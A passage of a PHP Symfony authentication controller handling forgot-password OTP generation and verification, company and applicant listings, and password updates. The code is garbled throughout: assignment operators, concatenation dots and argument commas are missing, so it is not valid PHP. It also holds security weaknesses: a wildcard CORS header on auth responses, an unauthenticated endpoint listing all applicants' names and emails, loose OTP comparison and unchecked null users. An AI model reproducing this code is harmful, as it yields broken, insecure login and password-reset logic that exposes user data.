  9089.                     'verify_otp'
  9090.                 );
  9091.                 return $this->redirect($url "/" $encDataStr);
  9092. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  9093. ////                    'encData'
  9094. ////                'id' => $isApplicantExist->getApplicantId(),
  9095. ////                'oAuthData' => $oAuthData,
  9096. ////                'refRoute' => $refRoute,
  9097. //                ]);
  9098.             }
  9099.         }
  9100.         if ($systemType == '_ERP_') {
  9101.             if ($userCategory == '_APPLICANT_') {
  9102.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9103.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9104.                 $twigData = [
  9105.                     'page_title' => 'Find Account',
  9106.                     'encryptedData' => $encryptedData,
  9107.                     'message' => $message,
  9108.                     'systemType' => $systemType,
  9109.                     'ownServerId' => $ownServerId,
  9110.                     'userType' => $userType,
  9111.                     'errorField' => $errorField,
  9112.                 ];
  9113.             } else {
  9114.                 $userType UserConstants::USER_TYPE_GENERAL;
  9115.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9116.                 $twigData = [
  9117.                     'page_title' => 'Find Account',
  9118.                     'encryptedData' => $encryptedData,
  9119.                     'systemType' => $systemType,
  9120.                     'ownServerId' => $ownServerId,
  9121.                     'message' => $message,
  9122.                     'userType' => $userType,
  9123.                     'errorField' => $errorField,
  9124.                 ];
  9125.             }
  9126.         } else if ($systemType == '_CENTRAL_') {
  9127.             $userType UserConstants::USER_TYPE_APPLICANT;
  9128.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  9129.             $twigData = [
  9130.                 'page_title' => 'Find Account',
  9131.                 'encryptedData' => $encryptedData,
  9132.                 'systemType' => $systemType,
  9133.                 'ownServerId' => $ownServerId,
  9134.                 "otp" => '',
  9135. //                "otp"=>$otp,
  9136.                 "otpExpireTs" => $otpExpireTs,
  9137.                 'message' => $message,
  9138.                 'userType' => $userType,
  9139.                 'errorField' => $errorField,
  9140.             ];
  9141.         } else if ($systemType == '_BUDDYBEE_') {
  9142.             $userType UserConstants::USER_TYPE_APPLICANT;
  9143.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9144.             $twigData = [
  9145.                 'page_title' => 'Find Account',
  9146.                 'encryptedData' => $encryptedData,
  9147.                 "otp" => '',
  9148.                 'systemType' => $systemType,
  9149.                 'ownServerId' => $ownServerId,
  9150. //                "otp"=>$otp,
  9151.                 "otpExpireTs" => $otpExpireTs,
  9152.                 'message' => $message,
  9153.                 'userType' => $userType,
  9154.                 'errorField' => $errorField,
  9155.             ];
  9156.         }
  9157.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9158.             $response = new JsonResponse(array(
  9159.                     'templateData' => $twigData,
  9160.                     'message' => $message,
  9161.                     "otp" => '',
  9162. //                "otp"=>$otp,
  9163.                     "otpExpireTs" => $otpExpireTs,
  9164.                     'actionData' => $email_twig_data,
  9165.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9166.                 )
  9167.             );
  9168.             $response->headers->set('Access-Control-Allow-Origin''*');
  9169.             return $response;
  9170.         } else {
  9171.             return $this->render(
  9172.                 $twig_file,
  9173.                 $twigData
  9174.             );
  9175.         }
  9176.     }
  9177.     public function VerifyOtpAction(Request $request$encData ''$remoteVerify 0)
  9178.     {
  9179. //        $userCategory=$request->request->has('userCategory');
  9180.         $encryptedData = [];
  9181.         $errorField '';
  9182.         $message '';
  9183.         $userType '';
  9184.         $otpExpireSecond 180;
  9185.         $otpExpireTs 0;
  9186.         if ($encData != '')
  9187.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  9188. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  9189.         $otp = isset($encryptedData['otp']) ? $encryptedData['otp'] : 0;
  9190.         $email = isset($encryptedData['email']) ? $encryptedData['email'] : 0;
  9191.         $otpExpireTs = isset($encryptedData['otpExpireTs']) ? $encryptedData['otpExpireTs'] : 0;
  9192.         $otpActionId = isset($encryptedData['otpActionId']) ? $encryptedData['otpActionId'] : 0;
  9193.         $userId = isset($encryptedData['userId']) ? $encryptedData['userId'] : 0;
  9194.         $userCategory = isset($encryptedData['otp']) ? $encryptedData['userCategory'] : '_BUDDYBEE_USER_';
  9195.         $em $this->getDoctrine()->getManager('company_group');
  9196.         $em_goc $this->getDoctrine()->getManager('company_group');
  9197.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  9198.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9199.         $twigData = [];
  9200.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  9201.         $email_twig_data = [];
  9202.         $userData = [];
  9203.         if ($request->isMethod('POST') || $otp != '') {
  9204.             $otp $request->request->get('otp'$otp);
  9205.             $otpActionId $request->request->get('otpActionId'$otpActionId);
  9206.             $userId $request->request->get('userId'$userId);
  9207.             $userCategory $request->request->get('userCategory'$userCategory);
  9208.             $email_address $request->request->get('email'$email);
  9209.             if ($systemType == '_ERP_') {
  9210.                 if ($userCategory == '_APPLICANT_') {
  9211.                     $userType UserConstants::USER_TYPE_APPLICANT;
  9212.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9213.                         array(
  9214.                             'email' => $email_address
  9215.                         )
  9216.                     );
  9217.                     if ($userObj) {
  9218.                     } else {
  9219.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9220.                             array(
  9221.                                 'oAuthEmail' => $email_address
  9222.                             )
  9223.                         );
  9224.                         if ($userObj) {
  9225.                         } else {
  9226.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9227.                                 array(
  9228.                                     'userName' => $email_address
  9229.                                 )
  9230.                             );
  9231.                         }
  9232.                     }
  9233.                     if ($userObj) {
  9234.                         $email_address $userObj->getEmail();
  9235.                         if ($email_address == null || $email_address == '')
  9236.                             $email_address $userObj->getOAuthEmail();
  9237.                     }
  9238. //                    triggerResetPassword:
  9239. //                    type: integer
  9240. //                          nullable: true
  9241.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  9242.                     $userObj->setOtp($otpData['otp']);
  9243.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  9244.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  9245.                     $em_goc->flush();
  9246.                     $userData = array(
  9247.                         'id' => $userObj->getApplicantId(),
  9248.                         'email' => $email_address,
  9249.                         'appId' => 0,
  9250. //                        'appId'=>$userObj->getUserAppId(),
  9251.                     );
  9252.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9253.                     $email_twig_data = [
  9254.                         'page_title' => 'Find Account',
  9255.                         'encryptedData' => $encryptedData,
  9256.                         'message' => $message,
  9257.                         'userType' => $userType,
  9258.                         'errorField' => $errorField,
  9259.                         'otp' => $otpData['otp'],
  9260.                         'otpExpireSecond' => $otpExpireSecond,
  9261.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9262.                         'otpExpireTs' => $otpData['expireTs'],
  9263.                         'systemType' => $systemType,
  9264.                         'userData' => $userData
  9265.                     ];
  9266.                     if ($userObj)
  9267.                         $email_twig_data['success'] = true;
  9268.                 } else {
  9269.                     $userType UserConstants::USER_TYPE_GENERAL;
  9270.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9271.                     $email_twig_data = [
  9272.                         'page_title' => 'Find Account',
  9273.                         'encryptedData' => $encryptedData,
  9274.                         'message' => $message,
  9275.                         'userType' => $userType,
  9276.                         'errorField' => $errorField,
  9277.                     ];
  9278.                 }
  9279.             } else if ($systemType == '_BUDDYBEE_') {
  9280.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9281.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9282.                     array(
  9283.                         'applicantId' => $userId
  9284.                     )
  9285.                 );
  9286.                 if ($userObj) {
  9287.                     $userOtp $userObj->getOtp();
  9288.                     $userOtpActionId $userObj->getOtpActionId();
  9289.                     $userOtpExpireTs $userObj->getOtpExpireTs();
  9290.                     $otpExpireTs $userObj->getOtpExpireTs();
  9291.                     $currentTime = new \DateTime();
  9292.                     $currentTimeTs $currentTime->format('U');
  9293.                     if ($userOtp != $otp) {
  9294.                         $message "Invalid OTP!";
  9295.                         $email_twig_data['success'] = false;
  9296.                     } else if ($userOtpActionId != $otpActionId) {
  9297.                         $message "Invalid OTP Action!";
  9298.                         $email_twig_data['success'] = false;
  9299.                     } else if ($currentTimeTs $userOtpExpireTs) {
  9300.                         $message "OTP Expired!";
  9301.                         $email_twig_data['success'] = false;
  9302.                     } else {
  9303.                         $userObj->setOtp(0);
  9304.                         $userObj->setOtpActionId(UserConstants::OTP_ACTION_NONE);
  9305.                         $userObj->setOtpExpireTs(0);
  9306.                         $userObj->setTriggerResetPassword(1);
  9307.                         $em_goc->flush();
  9308.                         $email_twig_data['success'] = true;
  9309.                         $message "";
  9310.                     }
  9311.                     $userData = array(
  9312.                         'id' => $userObj->getApplicantId(),
  9313.                         'email' => $email_address,
  9314.                         'appId' => 0,
  9315.                         'image' => $userObj->getImage(),
  9316.                         'firstName' => $userObj->getFirstname(),
  9317.                         'lastName' => $userObj->getLastname(),
  9318. //                        'appId'=>$userObj->getUserAppId(),
  9319.                     );
  9320.                     $email_twig_data['userData'] = $userData;
  9321.                 } else {
  9322.                     $message "Account not found!";
  9323.                     $email_twig_data['success'] = false;
  9324.                 }
  9325.             }
  9326.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9327.                 $response = new JsonResponse(array(
  9328.                         'templateData' => $twigData,
  9329.                         'message' => $message,
  9330.                         'actionData' => $email_twig_data,
  9331.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9332.                     )
  9333.                 );
  9334.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9335.                 return $response;
  9336.             } else if ($email_twig_data['success'] == true) {
  9337.                 $encData = array(
  9338.                     "userType" => $userType,
  9339.                     "otp" => '',
  9340.                     "otpExpireTs" => $otpExpireTs,
  9341.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9342.                     "userCategory" => $userCategory,
  9343.                     "userId" => $userData['id'],
  9344.                     "systemType" => $systemType,
  9345.                 );
  9346.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9347.                 $url $this->generateUrl(
  9348.                     'reset_password_new_password'
  9349.                 );
  9350.                 return $this->redirect($url "/" $encDataStr);
  9351. //                return $this->redirectToRoute("reset_password_new_password", [
  9352. ////                'id' => $isApplicantExist->getApplicantId(),
  9353. ////                'oAuthData' => $oAuthData,
  9354. ////                'refRoute' => $refRoute,
  9355. //                ]);
  9356.             }
  9357.         }
  9358.         if ($systemType == '_ERP_') {
  9359.             if ($userCategory == '_APPLICANT_') {
  9360.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9361.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9362.                 $twigData = [
  9363.                     'page_title' => 'Find Account',
  9364.                     'encryptedData' => $encryptedData,
  9365.                     'message' => $message,
  9366.                     'userType' => $userType,
  9367.                     'errorField' => $errorField,
  9368.                 ];
  9369.             } else {
  9370.                 $userType UserConstants::USER_TYPE_GENERAL;
  9371.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9372.                 $twigData = [
  9373.                     'page_title' => 'Find Account',
  9374.                     'encryptedData' => $encryptedData,
  9375.                     'message' => $message,
  9376.                     'userType' => $userType,
  9377.                     'errorField' => $errorField,
  9378.                 ];
  9379.             }
  9380.         } else if ($systemType == '_BUDDYBEE_') {
  9381.             $userType UserConstants::USER_TYPE_APPLICANT;
  9382.             $twig_file '@Authentication/pages/views/verify_otp_buddybee.html.twig';
  9383.             $twigData = [
  9384.                 'page_title' => 'Verify Otp',
  9385.                 'encryptedData' => $encryptedData,
  9386.                 'message' => $message,
  9387.                 'email' => $email,
  9388.                 "otp" => '',
  9389. //                "otp"=>$otp,
  9390.                 "otpExpireTs" => $otpExpireTs,
  9391.                 'userType' => $userType,
  9392.                 'userCategory' => $userCategory,
  9393.                 'errorField' => $errorField,
  9394.             ];
  9395.         }
  9396.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9397.             $response = new JsonResponse(array(
  9398.                     'templateData' => $twigData,
  9399.                     'message' => $message,
  9400.                     'actionData' => $email_twig_data,
  9401.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9402.                 )
  9403.             );
  9404.             $response->headers->set('Access-Control-Allow-Origin''*');
  9405.             return $response;
  9406.         } else {
  9407.             return $this->render(
  9408.                 $twig_file,
  9409.                 $twigData
  9410.             );
  9411.         }
  9412.     }
  9413. //    public function getCompanyByUser(Request $request){
  9414. //        $em = $this->getDoctrine()->getManager();
  9415. //        $em_goc = $this->getDoctrine()->getManager('company_group');
  9416. //        $session = $request->getSession();
  9417. //        $userId = $session->get(UserConstants::USER_ID);
  9418. //        $applicantDetails = $em->getRepository("ApplicationBundle\\Entity\\SysUser")->createQueryBuilder('U')
  9419. //            ->select('U.userAppIdList')
  9420. //            ->where('U.userId = :userId')
  9421. //            ->setParameter('userId', $userId)
  9422. //            ->getQuery()
  9423. //            ->getResult();
  9424. //
  9425. //        $compnayDetails = $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")->createQueryBuilder('C')
  9426. //            ->select('C.name','C.appId')
  9427. //            ->getQuery()
  9428. //            ->getResult();
  9429. //
  9430. //        return new JsonResponse(
  9431. //            [
  9432. //                'applicantCompnayId' => $applicantDetails,
  9433. //                'copanyData' => $compnayDetails
  9434. //            ]
  9435. //        );
  9436.     public function getCompanyByUser(Request $request)
  9437.     {
  9438.         $em_goc $this->getDoctrine()->getManager('company_group');
  9439.         $em_goc->getConnection()->connect();
  9440.         $session $request->getSession();
  9441.         $appIds $session->get(UserConstants::USER_APP_ID_LIST);
  9442.         $userAppIdList json_decode($appIdstrue);
  9443.         if (!is_array($userAppIdList)) {
  9444.             return new JsonResponse([]);
  9445.         }
  9446.         $companyData $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  9447.             ->createQueryBuilder('C')
  9448.             ->select('C.name, C.appId')
  9449.             ->where('C.appId IN (:appIds)')
  9450.             ->setParameter('appIds'$userAppIdList)
  9451.             ->getQuery()
  9452.             ->getResult();
  9453.         return new JsonResponse($companyData);
  9454.     }
  9455.     public function applicantList(Request $request)
  9456.     {
  9457.         $em_goc $this->getDoctrine()->getManager('company_group');
  9458.         $em_goc->getConnection()->connect();
  9459.         $applicantList $em_goc->getRepository("CompanyGroupBundle\\Entity\\EntityApplicantDetails")
  9460.             ->createQueryBuilder('C')
  9461.             ->select('C.applicantId, C.firstname, C.lastname,C.email')
  9462.             ->getQuery()
  9463.             ->getResult();
  9464.         return new JsonResponse($applicantList);
  9465.     }
  9466.     public function getUserType()
  9467.     {
  9468.         $userType HumanResourceConstant::$userTypeForApp;
  9469.         return new JsonResponse($userType);
  9470.     }
  9471.     private function appendCentralCustomerAccessList(array $accessListint $applicantId): array
  9472.     {
  9473.         if ($applicantId <= || !$this->container->has('app.organization_identity_service')) {
  9474.             return $accessList;
  9475.         }
  9476.         try {
  9477.             $customerAccessList $this->get('app.organization_identity_service')
  9478.                 ->buildCustomerAccessListForApplicant($applicantId$this->get('url_encryptor'));
  9479.         } catch (\Throwable $e) {
  9480.             return $accessList;
  9481.         }
  9482.         if (empty($customerAccessList)) {
  9483.             return $accessList;
  9484.         }
  9485.         $detailedClientApps = [];
  9486.         foreach ($customerAccessList as $item) {
  9487.             if (isset($item['appId'])) {
  9488.                 $detailedClientApps[(int)$item['appId']] = true;
  9489.             }
  9490.         }
  9491.         $filtered = [];
  9492.         foreach ($accessList as $item) {
  9493.             $isGenericClient = (int)($item['userType'] ?? 0) === UserConstants::USER_TYPE_CLIENT
  9494.                 && empty($item['erpClientId'])
  9495.                 && isset($detailedClientApps[(int)($item['appId'] ?? 0)]);
  9496.             if (!$isGenericClient) {
  9497.                 $filtered[] = $item;
  9498.             }
  9499.         }
  9500.         return array_merge($filtered$customerAccessList);
  9501.     }
  9502.     public function updatepasswordAction(Request $request)
  9503.     {
  9504.         $em_goc $this->getDoctrine()->getManager('company_group');
  9505.         $session $request->getSession();
  9506.         $userId $session->get(UserConstants::USER_ID);
  9507.         if ($request->isMethod('POST')) {
  9508.             $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->find($userId);
  9509.             $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($request->request->get('password'), $user->getSalt());
  9510.             $user->setPassword($encodedPassword);
  9511.             $em_goc->persist($user);
  9512.             $em_goc->flush();
  9513.             return new JsonResponse(['status' => 'success''message' => 'Password updated successfully.']);
  9514.         }
  9515.     }
  9516. }